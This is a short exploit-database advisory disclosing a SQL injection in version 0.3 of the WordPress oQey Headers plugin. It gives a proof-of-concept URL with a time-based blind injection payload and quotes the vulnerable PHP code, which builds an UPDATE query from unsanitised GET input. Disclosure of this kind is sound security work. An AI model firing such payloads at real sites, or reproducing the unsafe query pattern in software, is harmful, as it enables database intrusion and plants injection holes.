WordPress Plugin oQey Headers 0.3 - SQL Injection

# Exploit Title: WordPress oQey Headers plugin <= 0.3 SQL Injection Vulnerability
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/oqey-headers.0.3.zip
# Version: 0.3 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/oqey-headers/oqey_settings.php?img_header_id[]=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

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Vulnerable code
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if(isset($_GET['img_header_id'])){//order images
foreach ($_GET['img_header_id'] as $position => $item){
$h_update = sprintf("UPDATE $oqey_header SET oqey_h_order = '%d' WHERE oqey_h_id = '%s' ", $position,  $item
);
...